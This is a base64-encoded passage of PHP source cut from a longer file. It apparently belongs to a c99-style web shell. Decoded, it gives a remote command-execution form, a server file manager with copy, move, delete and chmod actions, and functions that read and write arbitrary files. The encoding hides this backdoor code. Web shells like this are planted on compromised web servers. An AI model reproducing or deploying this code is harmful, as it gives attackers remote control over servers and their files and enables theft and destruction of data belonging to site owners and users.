XSBhcyAkaz0+JHYpIHsKICAgICAgJHRvID0gJGQuYmFzZW5hbWUoJHYpOwogICAgICBpZiAoIWZz
X2NvcHlfb2JqKCR2LCRkKSkgeyRwc3RlcnIgLj0gIkNhbid0IGNvcHkgIi4kdi4iIHRvICIuJHRv
LiIhPGJyPiI7fQogICAgICBpZiAoJGNvcHlfdW5zZXQpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5
Il1bJGtdKTt9CiAgICB9CiAgICBmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikg
ewogICAgICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7CiAgICAgIGlmICghZnNfbW92ZV9vYmooJHYs
JGQpKSB7JHBzdGVyciAuPSAiQ2FuJ3QgbW92ZSAiLiR2LiIgdG8gIi4kdG8uIiE8YnI+Ijt9CiAg
ICAgIHVuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7CiAgICB9CiAgICBjYV9zZXNzX3B1dCgk
c2Vzc19kYXRhKTsKICAgIGlmICghZW1wdHkoJHBzdGVycikpIHtlY2hvICI8Yj5QYXN0aW5nIHdp
dGggZXJyb3JzOjwvYj48YnI+Ii4kcHN0ZXJyO30KICAgICR4ID0gImxzIjsKICB9Cn0KaWYgKCR4
ID09ICJjbWQiKSB7CiAgQGNoZGlyKCRjaGRpcik7CiAgaWYgKCFlbXB0eSgkc3VibWl0KSkgewog
ICAgZWNobyAiPGRpdiBjbGFzcz1iYXJoZWFkZXI+LjogUmVzdWx0IG9mIENvbW1hbmQgRXhlY3V0
aW9uIDouPC9kaXY+IjsKICAgICRvbGRkaXIgPSByZWFscGF0aCgiLiIpOwogICAgQGNoZGlyKCRk
KTsKICAgICRyZXQgPSBteXNoZWxsZXhlYygkY21kKTsKICAgICRyZXQgPSBjb252ZXJ0X2N5cl9z
dHJpbmcoJHJldCwiZCIsInciKTsKICAgIGlmICgkY21kX3R4dCkgewogICAgICAkcm93cyA9IGNv
dW50KGV4cGxvZGUoIlxyXG4iLCRyZXQpKSsxOwogICAgICBpZiAoJHJvd3MgPCAxMCkgeyRyb3dz
ID0gMTA7IH0KICAgICAgaWYgKCRtc2llKSB7ICRjb2xzID0gMTEzOyB9CiAgICAgIGVsc2UgeyAk
Y29scyA9IDExNzt9CiAgICAgIGVjaG8gIjxkaXYgYWxpZ249bGVmdD48cHJlPiIuaHRtbHNwZWNp
YWxjaGFycygkcmV0KS4iPC9wcmU+PC9kaXY+IjsKICAgIH0KICAgIGVsc2Uge2VjaG8gJHJldC4i
PGJyPiI7fQogICAgQGNoZGlyKCRvbGRkaXIpOwogIH0KICBlbHNlIHsKICAgIGVjaG8gIjxiPkNv
bW1hbmQgRXhlY3V0aW9uPC9iPiI7CiAgICBpZiAoZW1wdHkoJGNtZF90eHQpKSB7JGNtZF90eHQg
PSBUUlVFO30KICB9Cn0KaWYgKCR4ID09ICJscyIpIHsKICBpZiAoY291bnQoJGxzX2FycikgPiAw
KSB7ICRsaXN0ID0gJGxzX2FycjsgfQogIGVsc2UgewogICAgJGxpc3QgPSBhcnJheSgpOwogICAg
aWYgKCRoID0gQG9wZW5kaXIoJGQpKSB7CiAgICAgIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkg
IT09IEZBTFNFKSB7JGxpc3RbXSA9ICRkLiRvO30KICAgICAgY2xvc2VkaXIoJGgpOwogICAgfQog
IH0KICBpZiAoY291bnQoJGxpc3QpID09IDApIHsgZWNobyAiPGRpdiBjbGFzcz1meGVycm1zZz5D
YW4ndCBvcGVuIGZvbGRlciAoIi5odG1sc3BlY2lhbGNoYXJzKCRkKS4iKSE8L2Rpdj4iO30KICBl
bHNlIHsKICAgICRvYmplY3RzID0gYXJyYXkoKTsKICAgICR2ZCA9ICJmIjsgCiAgICBpZiAoJHZk
ID09ICJmIikgewogICAgICAkb2JqZWN0c1siaGVhZCJdID0gYXJyYXkoKTsKICAgICAgJG9iamVj
dHNbImZvbGRlcnMiXSA9IGFycmF5KCk7CiAgICAgICRvYmplY3RzWyJsaW5rcyJdID0gYXJyYXko
KTsKICAgICAgJG9iamVjdHNbImZpbGVzIl0gPSBhcnJheSgpOwogICAgICBmb3JlYWNoICgkbGlz
dCBhcyAkdikgewogICAgICAgICRvID0gYmFzZW5hbWUoJHYpOwogICAgICAgICRyb3cgPSBhcnJh
eSgpOwogICAgICAgIGlmICgkbyA9PSAiLiIpIHskcm93W10gPSAkZC4kbzsgJHJvd1tdID0gIkNV
UkRJUiI7fQogICAgICAgIGVsc2VpZiAoJG8gPT0gIi4uIikgeyRyb3dbXSA9ICRkLiRvOyAkcm93
W10gPSAiVVBESVIiO30KICAgICAgICBlbHNlaWYgKGlzX2RpcigkdikpIHsKICAgICAgICAgIGlm
IChpc19saW5rKCR2KSkgeyR0eXBlID0gIkxJTksiO30KICAgICAgICAgIGVsc2UgeyR0eXBlID0g
IkRJUiI7fQogICAgICAgICAgJHJvd1tdID0gJHY7CiAgICAgICAgICAkcm93W10gPSAkdHlwZTsK
ICAgICAgICB9CiAgICAgICAgZWxzZWlmKGlzX2ZpbGUoJHYpKSB7JHJvd1tdID0gJHY7ICRyb3db
XSA9IGZpbGVzaXplKCR2KTt9CiAgICAgICAgJHJvd1tdID0gZmlsZW10aW1lKCR2KTsKICAgICAg
ICBpZiAoISR3aW4pIHsKICAgICAgICAgICRvdyA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigk
dikpOwogICAgICAgICAgJGdyID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCR2KSk7CiAgICAg
ICAgICAkcm93W10gPSAoJG93WyJuYW1lIl0/JG93WyJuYW1lIl06ZmlsZW93bmVyKCR2KSkuIi8i
LigkZ3JbIm5hbWUiXT8kZ3JbIm5hbWUiXTpmaWxlZ3JvdXAoJHYpKTsKICAgICAgICB9CiAgICAg
ICAgJHJvd1tdID0gZmlsZXBlcm1zKCR2KTsKICAgICAgICBpZiAoKCRvID09ICIuIikgb3IgKCRv
ID09ICIuLiIpKSB7JG9iamVjdHNbImhlYWQiXVtdID0gJHJvdzt9CiAgICAgICAgZWxzZWlmIChp
c19saW5rKCR2KSkgeyRvYmplY3RzWyJsaW5rcyJdW10gPSAkcm93O30KICAgICAgICBlbHNlaWYg
KGlzX2RpcigkdikpIHskb2JqZWN0c1siZm9sZGVycyJdW10gPSAkcm93O30KICAgICAgICBlbHNl
aWYgKGlzX2ZpbGUoJHYpKSB7JG9iamVjdHNbImZpbGVzIl1bXSA9ICRyb3c7fQogICAgICAgICRp
Kys7CiAgICAgIH0KICAgICAgJHJvdyA9IGFycmF5KCk7CiAgICAgICRyb3dbXSA9ICI8Yj5OYW1l
PC9iPiI7CiAgICAgICRyb3dbXSA9ICI8Yj5TaXplPC9iPiI7CiAgICAgICRyb3dbXSA9ICI8Yj5E
YXRlIE1vZGlmaWVkPC9iPiI7CiAgICAgIGlmICghJHdpbikgeyRyb3dbXSA9ICI8Yj5Pd25lci9H
cm91cDwvYj4iO30KICAgICAgJHJvd1tdID0gIjxiPlBlcm1zPC9iPiI7CiAgICAgICRyb3dbXSA9
ICI8Yj5BY3Rpb248L2I+IjsKICAgICAgJHBhcnNlc29ydCA9IHBhcnNlc29ydCgkc29ydCk7CiAg
ICAgICRzb3J0ID0gJHBhcnNlc29ydFswXS4kcGFyc2Vzb3J0WzFdOwogICAgICAkayA9ICRwYXJz
ZXNvcnRbMF07CiAgICAgIGlmICgkcGFyc2Vzb3J0WzFdICE9ICJhIikgeyRwYXJzZXNvcnRbMV0g
PSAiZCI7fQogICAgICAkeSA9ICIgPGEgaHJlZj1cIiIuJHN1cmwuIng9Ii4kZHNwYWN0LiImZD0i
LnVybGVuY29kZSgkZCkuIiZzb3J0PSIuJGsuKCRwYXJzZXNvcnRbMV0gPT0gImEiPyJkIjoiYSIp
LiJcIj4iOwogICAgICAkeSAuPSAiPGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9c29ydF8i
Ligkc29ydFsxXSA9PSAiYSI/ImFzYyI6ImRlc2MiKS4iXCIgaGVpZ2h0PVwiOVwiIHdpZHRoPVwi
MTRcIiBhbHQ9XCIiLigkcGFyc2Vzb3J0WzFdID09ICJhIj8iQXNjLiI6IkRlc2MiKS4iXCIgYm9y
ZGVyPVwiMFwiPjwvYT4iOwogICAgICAkcm93WyRrXSAuPSAkeTsKICAgICAgZm9yKCRpPTA7JGk8
Y291bnQoJHJvdyktMTskaSsrKSB7CiAgICAgICAgaWYgKCRpICE9ICRrKSB7JHJvd1skaV0gPSAi
PGEgaHJlZj1cIiIuJHN1cmwuIng9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZzb3J0
PSIuJGkuJHBhcnNlc29ydFsxXS4iXCI+Ii4kcm93WyRpXS4iPC9hPiI7fQogICAgICB9CiAgICAg
ICR2ID0gJHBhcnNlc29ydFswXTsKICAgICAgdXNvcnQoJG9iamVjdHNbImZvbGRlcnMiXSwgInRh
YnNvcnQiKTsKICAgICAgdXNvcnQoJG9iamVjdHNbImxpbmtzIl0sICJ0YWJzb3J0Iik7CiAgICAg
IHVzb3J0KCRvYmplY3RzWyJmaWxlcyJdLCAidGFic29ydCIpOwogICAgICBpZiAoJHBhcnNlc29y
dFsxXSA9PSAiZCIpIHsKICAgICAgICAkb2JqZWN0c1siZm9sZGVycyJdID0gYXJyYXlfcmV2ZXJz
ZSgkb2JqZWN0c1siZm9sZGVycyJdKTsKICAgICAgICAkb2JqZWN0c1siZmlsZXMiXSA9IGFycmF5
X3JldmVyc2UoJG9iamVjdHNbImZpbGVzIl0pOwogICAgICB9CiAgICAgICRvYmplY3RzID0gYXJy
YXlfbWVyZ2UoJG9iamVjdHNbImhlYWQiXSwkb2JqZWN0c1siZm9sZGVycyJdLCRvYmplY3RzWyJs
aW5rcyJdLCRvYmplY3RzWyJmaWxlcyJdKTsKICAgICAgJHRhYiA9IGFycmF5KCk7CiAgICAgICR0
YWJbImNvbHMiXSA9IGFycmF5KCRyb3cpOwogICAgICAkdGFiWyJoZWFkIl0gPSBhcnJheSgpOwog
ICAgICAkdGFiWyJmb2xkZXJzIl0gPSBhcnJheSgpOwogICAgICAkdGFiWyJsaW5rcyJdID0gYXJy
YXkoKTsKICAgICAgJHRhYlsiZmlsZXMiXSA9IGFycmF5KCk7CiAgICAgICRpID0gMDsKICAgICAg
Zm9yZWFjaCAoJG9iamVjdHMgYXMgJGEpIHsKICAgICAgICAkdiA9ICRhWzBdOwogICAgICAgICRv
ID0gYmFzZW5hbWUoJHYpOwogICAgICAgICRkaXIgPSBkaXJuYW1lKCR2KTsKICAgICAgICBpZiAo
JGRpc3BfZnVsbHBhdGgpIHskZGlzcHBhdGggPSAkdjt9CiAgICAgICAgZWxzZSB7JGRpc3BwYXRo
ID0gJG87fQogICAgICAgICRkaXNwcGF0aCA9IHN0cjJtaW5pKCRkaXNwcGF0aCw2MCk7CiAgICAg
ICAgaWYgKGluX2FycmF5KCR2LCRzZXNzX2RhdGFbImN1dCJdKSkgeyRkaXNwcGF0aCA9ICI8c3Ry
aWtlPiIuJGRpc3BwYXRoLiI8L3N0cmlrZT4iO30KICAgICAgICBlbHNlaWYgKGluX2FycmF5KCR2
LCRzZXNzX2RhdGFbImNvcHkiXSkpIHskZGlzcHBhdGggPSAiPHU+Ii4kZGlzcHBhdGguIjwvdT4i
O30KICAgICAgICBmb3JlYWNoICgkcmVneHBfaGlnaGxpZ2h0IGFzICRyKSB7CiAgICAgICAgICBp
ZiAoZXJlZygkclswXSwkbykpIHsKICAgICAgICAgICAgaWYgKCghaXNfbnVtZXJpYygkclsxXSkp
IG9yICgkclsxXSA+IDMpKSB7JHJbMV0gPSAwOyBvYl9jbGVhbigpOyBlY2hvICJXYXJuaW5nISBD
b25maWd1cmF0aW9uIGVycm9yIGluIFwkcmVneHBfaGlnaGxpZ2h0WyIuJGsuIl1bMF0gLSB1bmtu
b3duIGNvbW1hbmQuIjsgY2Fwcml2OGV4aXQoKTt9CiAgICAgICAgICAgIGVsc2UgewogICAgICAg
ICAgICAgICRyWzFdID0gcm91bmQoJHJbMV0pOwogICAgICAgICAgICAgICRpc2RpciA9IGlzX2Rp
cigkdik7CiAgICAgICAgICAgICAgaWYgKCgkclsxXSA9PSAwKSBvciAoKCRyWzFdID09IDEpIGFu
ZCAhJGlzZGlyKSBvciAoKCRyWzFdID09IDIpIGFuZCAhJGlzZGlyKSkgewogICAgICAgICAgICAg
ICAgaWYgKGVtcHR5KCRyWzJdKSkgeyRyWzJdID0gIjxiPiI7ICRyWzNdID0gIjwvYj4iO30KICAg
ICAgICAgICAgICAgICRkaXNwcGF0aCA9ICRyWzJdLiRkaXNwcGF0aC4kclszXTsKICAgICAgICAg
ICAgICAgIGlmICgkcls0XSkge2JyZWFrO30KICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0K
ICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJHVvID0gdXJsZW5jb2RlKCRvKTsKICAgICAg
ICAkdWQgPSB1cmxlbmNvZGUoJGRpcik7CiAgICAgICAgJHV2ID0gdXJsZW5jb2RlKCR2KTsKICAg
ICAgICAkcm93ID0gYXJyYXkoKTsKICAgICAgICBpZiAoJG8gPT0gIi4iKSB7CiAgICAgICAgICAk
cm93W10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZShy
ZWFscGF0aCgkZC4kbykpLiImc29ydD0iLiRzb3J0LiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9
aW1nJmltZz1zbWFsbF9kaXJcIiBib3JkZXI9XCIwXCI+Jm5ic3A7Ii4kby4iPC9hPiI7CiAgICAg
ICAgICAkcm93W10gPSAiQ1VSRElSIjsKICAgICAgICB9CiAgICAgICAgZWxzZWlmICgkbyA9PSAi
Li4iKSB7CiAgICAgICAgICAkcm93W10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9Ii4kZHNwYWN0
LiImZD0iLnVybGVuY29kZShyZWFscGF0aCgkZC4kbykpLiImc29ydD0iLiRzb3J0LiJcIj48aW1n
IHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1leHRfbG5rXCIgYm9yZGVyPVwiMFwiPiZuYnNwOyIu
JG8uIjwvYT4iOwogICAgICAgICAgJHJvd1tdID0gIlVQRElSIjsKICAgICAgICB9CiAgICAgICAg
ZWxzZWlmIChpc19kaXIoJHYpKSB7CiAgICAgICAgICBpZiAoaXNfbGluaygkdikpIHsKICAgICAg
ICAgICAgJGRpc3BwYXRoIC49ICIgPT4gIi5yZWFkbGluaygkdik7CiAgICAgICAgICAgICR0eXBl
ID0gIkxJTksiOwogICAgICAgICAgICAkcm93W10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9bHMm
ZD0iLiR1di4iJnNvcnQ9Ii4kc29ydC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9
ZXh0X2xua1wiIGJvcmRlcj1cIjBcIj4mbmJzcDtbIi4kZGlzcHBhdGguIl08L2E+IjsKICAgICAg
ICAgIH0KICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAkdHlwZSA9ICJESVIiOwogICAgICAg
ICAgICAkcm93W10gPSAgIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PWxzJmQ9Ii4kdXYuIiZzb3J0PSIu
JHNvcnQuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNtYWxsX2RpclwiIGJvcmRl
cj1cIjBcIj4mbmJzcDtbIi4kZGlzcHBhdGguIl08L2E+IjsKICAgICAgICAgIH0KICAgICAgICAg
ICRyb3dbXSA9ICR0eXBlOwogICAgICAgIH0KICAgICAgICBlbHNlaWYoaXNfZmlsZSgkdikpIHsK
ICAgICAgICAgICRleHQgPSBleHBsb2RlKCIuIiwkbyk7CiAgICAgICAgICAkYyA9IGNvdW50KCRl
eHQpLTE7CiAgICAgICAgICAkZXh0ID0gJGV4dFskY107CiAgICAgICAgICAkZXh0ID0gc3RydG9s
b3dlcigkZXh0KTsKICAgICAgICAgICRyb3dbXSA9ICAiPGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZm
PSIuJHVvLiImZD0iLiR1ZC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9ZXh0XyIu
JGV4dC4iXCIgYm9yZGVyPVwiMFwiPiZuYnNwOyIuJGRpc3BwYXRoLiI8L2E+IjsKICAgICAgICAg
ICRyb3dbXSA9IHZpZXdfc2l6ZSgkYVsxXSk7CiAgICAgICAgfQogICAgICAgICRyb3dbXSA9IGRh
dGUoImQubS5ZIEg6aTpzIiwkYVsyXSk7CiAgICAgICAgaWYgKCEkd2luKSB7JHJvd1tdID0gJGFb
M107fQogICAgICAgICRyb3dbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD1jaG1vZCZmPSIuJHVv
LiImZD0iLiR1ZC4iXCI+PGI+Ii52aWV3X3Blcm1zX2NvbG9yKCR2KS4iPC9iPjwvYT4iOwogICAg
ICAgIGlmICgkbyA9PSAiLiIpIHskY2hlY2tib3ggPSAiPGlucHV0IHR5cGU9XCJjaGVja2JveFwi
IG5hbWU9XCJhY3Rib3hbXVwiIG9uY2xpY2s9XCJsc19yZXZlcnNlX2FsbCgpO1wiPiI7ICRpLS07
fQogICAgICAgIGVsc2UgeyRjaGVja2JveCA9ICI8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFt
ZT1cImFjdGJveFtdXCIgaWQ9XCJhY3Rib3giLiRpLiJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxj
aGFycygkdikuIlwiPiI7fQogICAgICAgIGlmIChpc19kaXIoJHYpKSB7JHJvd1tdID0gIjxhIGhy
ZWY9XCIiLiRzdXJsLiJ4PWQmZD0iLiR1di4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZp
bWc9ZXh0X2RpelwiIGFsdD1cIkluZm9cIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOyIuJGNoZWNr
Ym94O30KICAgICAgICBlbHNlIHskcm93W10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIu
JHVvLiImZnQ9aW5mbyZkPSIuJHVkLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1l
eHRfZGl6XCIgYWx0PVwiSW5mb1wiIGhlaWdodD1cIjE2XCIgd2lkdGg9XCIxNlwiIGJvcmRlcj1c
IjBcIj48L2E+Jm5ic3A7PGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIuJHVvLiImZnQ9ZWRpdCZk
PSIuJHVkLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1jaGFuZ2VcIiBhbHQ9XCJD
aGFuZ2VcIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTlcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNw
OzxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj0iLiR1by4iJmZ0PWRvd25sb2FkJmQ9Ii4kdWQuIlwi
PjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWRvd25sb2FkXCIgYWx0PVwiRG93bmxvYWRc
IiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOyIuJGNoZWNrYm94O30KICAgICAgICBpZiAoKCRvID09
ICIuIikgb3IgKCRvID09ICIuLiIpKSB7JHRhYlsiaGVhZCJdW10gPSAkcm93O30KICAgICAgICBl
bHNlaWYgKGlzX2xpbmsoJHYpKSB7JHRhYlsibGlua3MiXVtdID0gJHJvdzt9CiAgICAgICAgZWxz
ZWlmIChpc19kaXIoJHYpKSB7JHRhYlsiZm9sZGVycyJdW10gPSAkcm93O30KICAgICAgICBlbHNl
aWYgKGlzX2ZpbGUoJHYpKSB7JHRhYlsiZmlsZXMiXVtdID0gJHJvdzt9CiAgICAgICAgJGkrKzsK
ICAgICAgfQogICAgfQogICAgJHRhYmxlID0gYXJyYXlfbWVyZ2UoJHRhYlsiY29scyJdLCR0YWJb
ImhlYWQiXSwkdGFiWyJmb2xkZXJzIl0sJHRhYlsibGlua3MiXSwkdGFiWyJmaWxlcyJdKTsKICAg
IGVjaG8gIjxkaXYgY2xhc3M9YmFyaGVhZGVyPi46ICI7CiAgICBpZiAoIWVtcHR5KCRmeF9pbmZv
aGVhZCkpIHsgZWNobyAkZnhfaW5mb2hlYWQ7IH0KICAgIGVsc2UgeyBlY2hvICJEaXJlY3Rvcnkg
TGlzdCAoIi5jb3VudCgkdGFiWyJmaWxlcyJdKS4iIGZpbGVzIGFuZCAiLihjb3VudCgkdGFiWyJm
b2xkZXJzIl0pK2NvdW50KCR0YWJbImxpbmtzIl0pKS4iIGZvbGRlcnMpIjsgfQogICAgZWNobyAi
IDouPC9kaXY+XG4iOwogICAgZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9k
PVBPU1QgbmFtZT1cImxzX2Zvcm1cIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPVwi
Ii4kZHNwYWN0LiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSIuJGQuIj4iLgog
ICAgICAgICAiPHRhYmxlIGNsYXNzPWV4cGxvcmVyPiI7CiAgICBmb3JlYWNoKCR0YWJsZSBhcyAk
cm93KSB7CiAgICAgIGVjaG8gIjx0cj4iOwogICAgICBmb3JlYWNoKCRyb3cgYXMgJHYpIHtlY2hv
ICI8dGQ+Ii4kdi4iPC90ZD4iO30KICAgICAgZWNobyAiPC90cj5cclxuIjsKICAgIH0KICAgIGVj
aG8gIjwvdGFibGU+Ii4KICAgICAgICAgIjxzY3JpcHQ+Ii4KICAgICAgICAgImZ1bmN0aW9uIGxz
X3NldGNoZWNrYm94YWxsKHN0YXR1cykgeyIuCiAgICAgICAgICIgdmFyIGlkID0gMTsgdmFyIG51
bSA9ICIuKGNvdW50KCR0YWJsZSktMikuIjsiLgogICAgICAgICAiIHdoaWxlIChpZCA8PSBudW0p
IHsgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGJveCcraWQpLmNoZWNrZWQgPSBzdGF0dXM7
IGlkKys7IH0iLgogICAgICAgICAifSIuCiAgICAgICAgICJmdW5jdGlvbiBsc19yZXZlcnNlX2Fs
bCgpIHsiLgogICAgICAgICAiIHZhciBpZCA9IDE7IHZhciBudW0gPSAiLihjb3VudCgkdGFibGUp
LTIpLiI7Ii4KICAgICAgICAgIiB3aGlsZSAoaWQgPD0gbnVtKSB7IGRvY3VtZW50LmdldEVsZW1l
bnRCeUlkKCdhY3Rib3gnK2lkKS5jaGVja2VkID0gIWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdh
Y3Rib3gnK2lkKS5jaGVja2VkOyBpZCsrOyB9Ii4KICAgICAgICAgIn0iLgogICAgICAgICAiPC9z
Y3JpcHQ+Ii4KICAgICAgICAgIjxkaXYgYWxpZ249XCJyaWdodFwiPiIuCiAgICAgICAgICI8aW5w
dXQgdHlwZT1cImJ1dHRvblwiIG9uY2xpY2s9XCJsc19zZXRjaGVja2JveGFsbCh0cnVlKTtcIiB2
YWx1ZT1cIlNlbGVjdCBhbGxcIj4mbmJzcDsmbmJzcDs8aW5wdXQgdHlwZT1cImJ1dHRvblwiIG9u
Y2xpY2s9XCJsc19zZXRjaGVja2JveGFsbChmYWxzZSk7XCIgdmFsdWU9XCJVbnNlbGVjdCBhbGxc
Ij4iLgogICAgICAgICAiPGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9YXJyb3dfbHRyXCIg
Ym9yZGVyPVwiMFwiPiI7CiAgICBpZiAoY291bnQoYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY29w
eSJdLCRzZXNzX2RhdGFbImN1dCJdKSkgPiAwIGFuZCAoJHVzZWZzYnVmZikpIHsKICAgICAgZWNo
byAiPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9YWN0YXJjYnVmZiB2YWx1ZT1cIlBhY2sgYnVmZmVy
IHRvIGFyY2hpdmVcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiYWN0YXJjYnVm
Zl9wYXRoXCIgdmFsdWU9XCJmeF9hcmNoaXZlXyIuc3Vic3RyKG1kNShyYW5kKDEsMTAwMCkucmFu
ZCgxLDEwMDApKSwwLDUpLiIudGFyLmd6XCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7
Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9XCJhY3RwYXN0ZWJ1ZmZcIiB2YWx1ZT1cIlBh
c3RlXCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9c3Vi
bWl0IG5hbWU9XCJhY3RlbXB0eWJ1ZmZcIiB2YWx1ZT1cIkVtcHR5IGJ1ZmZlclwiPiZuYnNwOyZu
YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyI7CiAgICB9CiAgICBlY2hvICI8c2VsZWN0IG5hbWU9eD48
b3B0aW9uIHZhbHVlPVwiIi4keC4iXCI+V2l0aCBzZWxlY3RlZDo8L29wdGlvbj4iOwogICAgZWNo
byAiPG9wdGlvbiB2YWx1ZT1kZWxldGUiLigkZHNwYWN0ID09ICJkZWxldGUiPyIgc2VsZWN0ZWQi
OiIiKS4iPkRlbGV0ZTwvb3B0aW9uPiI7CiAgICBlY2hvICI8b3B0aW9uIHZhbHVlPWNobW9kIi4o
JGRzcGFjdCA9PSAiY2htb2QiPyIgc2VsZWN0ZWQiOiIiKS4iPkNoYW5nZS1tb2RlPC9vcHRpb24+
IjsKICAgIGlmICgkdXNlZnNidWZmKSB7CiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9Y3V0Ii4o
JGRzcGFjdCA9PSAiY3V0Ij8iIHNlbGVjdGVkIjoiIikuIj5DdXQ8L29wdGlvbj4iOwogICAgICBl
Y2hvICI8b3B0aW9uIHZhbHVlPWNvcHkiLigkZHNwYWN0ID09ICJjb3B5Ij8iIHNlbGVjdGVkIjoi
IikuIj5Db3B5PC9vcHRpb24+IjsKICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT11bnNlbGVjdCIu
KCRkc3BhY3QgPT0gInVuc2VsZWN0Ij8iIHNlbGVjdGVkIjoiIikuIj5VbnNlbGVjdDwvb3B0aW9u
PiI7CiAgICB9CiAgICBlY2hvICI8L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFs
dWU9XCJDb25maXJtXCI+PC9kaXY+IjsKICAgIGVjaG8gIjwvZm9ybT4iOwogIH0KfQppZiAoJHgg
PT0gInRvb2xzIikgCnsKCn0KaWYgKCR4ID09ICJwaHBmc3lzIikgewogIGVjaG8gIjxkaXYgYWxp
Z249bGVmdD4iOwogICRmc2Z1bmMgPSAkcGhwZnN5c2Z1bmM7CiAgaWYgKCRmc2Z1bmM9PSJjb3B5
IikgewogICAgaWYgKCFjb3B5KCRhcmcxLCAkYXJnMikpIHsgZWNobyAiRmFpbGVkIHRvIGNvcHkg
JGFyZzEuLi5cbiI7fQogICAgZWxzZSB7IGVjaG8gIjxiPlN1Y2Nlc3MhPC9iPiAkYXJnMSBjb3Bp
ZWQgdG8gJGFyZzJcbiI7IH0KICB9CiAgZWxzZWlmICgkZnNmdW5jPT0icmVuYW1lIikgewogICAg
aWYgKCFyZW5hbWUoJGFyZzEsICRhcmcyKSkgeyBlY2hvICJGYWlsZWQgdG8gcmVuYW1lL21vdmUg
JGFyZzEhXG4iO30KICAgIGVsc2UgeyBlY2hvICI8Yj5TdWNjZXNzITwvYj4gJGFyZzEgcmVuYW1l
ZC9tb3ZlZCB0byAkYXJnMlxuIjsgfQogIH0KICBlbHNlaWYgKCRmc2Z1bmM9PSJjaG1vZCIpIHsK
ICAgIGlmICghY2htb2QoJGFyZzEsJGFyZzIpKSB7IGVjaG8gIkZhaWxlZCB0byBjaG1vZCAkYXJn
MSFcbiI7fQogICAgZWxzZSB7IGVjaG8gIjxiPlBlcm0gZm9yICRhcmcxIGNoYW5nZWQgdG8gJGFy
ZzIhPC9iPlxuIjsgfQogIH0KICBlbHNlaWYgKCRmc2Z1bmM9PSJyZWFkIikgewogICAgJGhhc2ls
ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRhcmcxKTsKICAgIGVjaG8gIjxiPkZpbGVuYW1lOjwvYj4g
JGFyZzE8YnI+IjsKICAgIGVjaG8gIjx0ZXh0YXJlYSBjb2xzPTE1MCByb3dzPTIwPiI7CiAgICBl
Y2hvICRoYXNpbDsKICAgIGVjaG8gIjwvdGV4dGFyZWE+XG4iOwogIH0KICBlbHNlaWYgKCRmc2Z1
bmM9PSJ3cml0ZSIpIHsKICAgIGlmKEBmaWxlX3B1dF9jb250ZW50cygkZC4kYXJnMSwkYXJnMikp
IHsKICAgICAgZWNobyAiPGI+U2F2ZWQhPC9iPiAiLiRkLiRhcmcxOwogICAgfQogICAgZWxzZSB7
IGVjaG8gIjxkaXYgY2xhc3M9ZnhlcnJtc2c+Q291bGRuJ3Qgd3JpdGUgdG8gJGFyZzEhPC9kaXY+
IjsgfQogIH0KICBlbHNlaWYgKCRmc2Z1bmM9PSJkb3dubG9hZGJpbiIpIHsKICAgICRoYW5kbGUg
